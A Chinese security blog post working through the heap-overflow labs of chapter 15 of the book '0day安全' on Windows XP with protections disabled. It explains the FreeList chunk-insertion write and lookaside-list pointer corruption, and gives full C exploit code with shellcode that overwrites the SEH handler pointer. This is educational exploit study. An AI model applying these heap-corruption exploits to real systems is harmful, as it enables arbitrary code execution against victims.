hu1y40's blog

hu1y40'blog
天堂的穹空遍布地狱之火的颜色,但也是天堂。
  1. 首页
  2. 书籍阅读
  3. 0day安全
  4. 正文

0day安全 第15章实验

2023年10月7日 872点热度 0人点赞 0条评论

利用chunk重设大小攻击堆

实验环境

推荐使用的环境 备注
操作系统 Windows xp 关闭SafeSEH,GS,DEP
编译器 VC++ 6.0
编译选项 默认编译选项
build版本 release版本

实验前准备

Safe Unlink使得从FreeList[n]上拆卸chunk时对双向链表的有效性进行了验证。但是chunk插入FreeList[n]的时候并没有进行验证。

有两种情况下会链表会发生插入操作:

  1. 内存释放后chunk不被使用
  2. 当chunk的内存空间大于申请的空间时,剩余的空间会被建立成一个新的chunk,链入链表中。

从FreeList[n]上申请空间的过程:

  1. 将FreeList[0]上的最后一个chunk与申请空间的大小进行比较,如果chunk大于等于申请的空间,继续分配,否则拓展空间
  2. 从FreeList[0]上的第一个chunk开始依次检测,查找到第一个满足申请空间的chunk,然后将其从链表上拆卸下来。
  3. 分配好空间后如果chunk有剩余空间,剩余的空间会被建立成一个新的chunk,重新插入到链表中。

#include<stdio.h>
#include<windows.h>

void main()
{
HLOCAL h1;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
_asm int 3
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 0x10);

}

fig:

eax是我们申请的堆块起始地址0x390000,0x390178是freelist[0]此时其只有一个chunk,freelist[0]节点flink和blink都指向了唯一的chunk0x390688

fig:

在将新chunk插入到链表中。这是修改chunk中下一chunk指针和上一chunk指针。地址位于ntdll加载地址+0x11513处。

fig:

这是新chunk的插入过程

新chunk ->Flink = 旧chunk->Flink

新chunk->Blink = 旧chunk->Flink->Blink

旧chunk->Flink->Blink->Flink = 新chunk

旧chunk->Flink->Blink = 新chunk

如果旧chunk的Flink和Blink分别为0xAAAAAAAA,和0xBBBBBBBB

那么之前的过程将为

[0x003906A0] = 0xAAAAAAAA

[0x003906A0] = [0xAAAAAAAA+4]

[[0xAAAAAAAA+4]] = 0x003906A0

[0xAAAAAAAA+4] = 0x003906A0

这是一个任意地址写入固定值的漏洞。若将内存中的某一个函数指针或者SEH处理函数指针替换成shellcode的地址,就实现了溢出。0xAAAAAAAA+4必须指向可读可写地址,0xAAAAAAAA+4中存放的地址必须是可写的。

实验代码

#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x39\x00\xE4\xFF\x12\x00"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("%d",zero);
}

代码的过程如下:

  1. h1申请16字节的空间
  2. h1申请的空间后面跟着一个chunk(申请完剩下的,freeList[0]连接着的)
  3. h1超过16字节的内容会覆盖块首
  4. chunk覆盖之后,h2申请空间,剩余的空间变成新chunk插入链表的时候,实现了写入。
  5. 所以伪造h2申请空间前的chunk的Flink和Blink就可以达到写入异常处理指针效果了。
  6. 制造异常使得程序进入异常处理。

fig:

指向的是h2分配前的chunk的Flink和Blink。

h2分配后chunk就是从0x003906B8开始是Flink和Blink

溢出后的结果

fig:

新chunk链入链表发现异常处理程序已被覆盖

h2申请空间后发生的是

[0x003906B8] = 0x003906EB

[0x003906B8+4] = 0x0012FFE4

[0x0012FFE4] = 0x003906B8

[0x003906EB+4] = 0x003906B8

fig:

最后写入的是第一个分配完chunk的地址。

异常处理也会跳到这里执行,故而我们的EB06就会起到跳转作用,然后再EB06跳转玩的地方在跳转一次,到shellcode就行了

fig:

利用Lookaside表进行堆溢出

实验环境

推荐使用的环境 备注
操作系统 Windows xp 关闭SafeSEH,GS,DEP
编译器 VC++ 6.0
编译选项 默认编译选项
build版本 release版本

实验前准备

Safe Unlink对空表中双向链表的拆卸进行了有效性验证,而对于快表中的单链表是没有进行验证的。

fig:

fig:

拆卸节点 ListNode[n]->next = node->next(即我们修改的0xXXXXXXXX)

再次申请空间 ListNode[n]->next的地址返回给用户。随后ListNode[n]->next = 0xXXXXXXXX->next 即 [0xXXXXXXXX]

实验代码

#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xB4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x61\x30\x5F\x5F\x68\x68\x75\x31\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
int zero=0;
hp = HeapCreate(0,0,0);
//__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x39\x00",4);
zero=1/zero;
printf("%d",zero);

}

大概的过程如下:

  1. 申请3块16字节的空间,释放h3,h2到快表中。
  2. 通过向h1复制超长字符串覆盖h2的堆首中下一堆块指针
  3. 用户申请空间的时候,ListNode[n]->next会被换成我们所伪造的地址。当用户再次申请空间的时候,我们伪造的地址就会作为用户申请的空间的地址返回给用户。
  4. 如果这个地址是异常处理的地址,我们就能更改异常处理函数了
  5. 制造异常转入异常处理函数。

fig:

h1,h2,h3申请的空间如上。三个起始地址分别为0x00391E90,0x00391EA8,0x00391EC0。

fig:

这是我们需要覆盖的地址。

fig:

Lookaside[2]的下一堆块已经被修改成了0x0012FFE4。

fig:

再次申请发现0x0012FFE4作为我们申请的地址返回了。

最后只需要将申请空间处的值也就是异常处理的值改为h1的也就是我们shellcode的地址就行了

fig:

实验过程唯一的问题可能就是需要将SEH结构选用SEH链第一个,作者使用的是系统默认的异常处理。但是环境不同可能不同。

标签: 实验
最后更新:2023年10月7日

hu1y40

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复
文章目录
  • 利用chunk重设大小攻击堆
    • 实验环境
    • 实验前准备
    • 实验代码
  • 利用Lookaside表进行堆溢出
    • 实验环境
    • 实验前准备
    • 实验代码

分类目录

  • 0day安全
  • Bypass
  • C++Prime
  • CTF
  • DoS
  • DoS
  • FUZZ
  • iot
  • JSONP
  • MISC
  • MISC
  • PHP伪协议
  • Python
  • REVERSE
  • sqli-labs
  • SQL注入
  • Trick
  • UAF
  • WEB
  • WEB
  • XXE
  • 书籍阅读
  • 二进制
  • 代码阅读
  • 信息搜集
  • 信息泄露
  • 加密与解密
  • 双重释放漏洞
  • 反序列化
  • 命令执行
  • 命令执行
  • 堆溢出
  • 密码学
  • 弱加密
  • 提权漏洞
  • 整数溢出
  • 文件上传
  • 未分类
  • 栈溢出
  • 格式化字符串漏洞
  • 模型
  • 汇编语言
  • 渗透测试
  • 漏洞分析
  • 漏洞利用
  • 漏洞战争
  • 漏洞挖掘
  • 病毒分析
  • 越界读取
  • 路径遍历
  • 逻辑漏洞
  • 配置不当
  • 钓鱼
  • 靶场
最新 热点 随机
最新 热点 随机
加密算法 2023年度总结 RTSPServer StackOverflow Vulnerability FUZZ 总览篇 MP4Box 无限循环漏洞 CVE-2023-40477 Winrar RCE漏洞分析
CVE-2013-0077 Firefox字符串替换整数溢出漏洞 加密与解密 第10章 CVE-2010-2883 Adob​​e Reader CoolType.dll栈溢出漏洞 加密与解密 第3章实验 CVE-2013-3346 Adobe Reader ToolButton UAF漏洞 汇编语言

COPYRIGHT © 2023 hu1y40's blog. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

鄂ICP备2021009673号-1